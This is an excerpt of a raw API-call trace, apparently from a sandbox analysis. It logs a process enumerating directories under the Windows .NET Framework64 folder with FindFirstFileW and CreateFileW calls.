	[0088.167] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\1033\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812212b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812212b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.170] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.170] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\MSBuild\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812212b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812212b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.172] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\sql"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.172] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.172] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL\\EN" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\sql\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.172] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\SQL\\EN\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81247412, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81247412, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.174] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.174] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.226] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\1033" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.226] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\1033\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a3f8e80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x593606c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x593606c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.229] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.229] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xd5c5a660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd5c5a660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.233] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.233] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.236] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.236] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f09dec0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.239] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_code"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.240] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6b614580, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b614580, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.243] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.243] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ed31f20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.243] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_globalresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.243] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.244] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.244] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_LocalResources\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebdb2c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f2d9360, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.248] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.248] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.254] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.254] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.257] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\providers\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.257] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f005940, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.262] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.262] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.265] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.265] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f02baa0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f077d60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.268] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.268] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.270] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.271] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.272] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.272] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.275] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.275] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.276] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.276] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.279] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.279] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e99fe20, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.282] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.282] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8f000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f34b780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.285] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
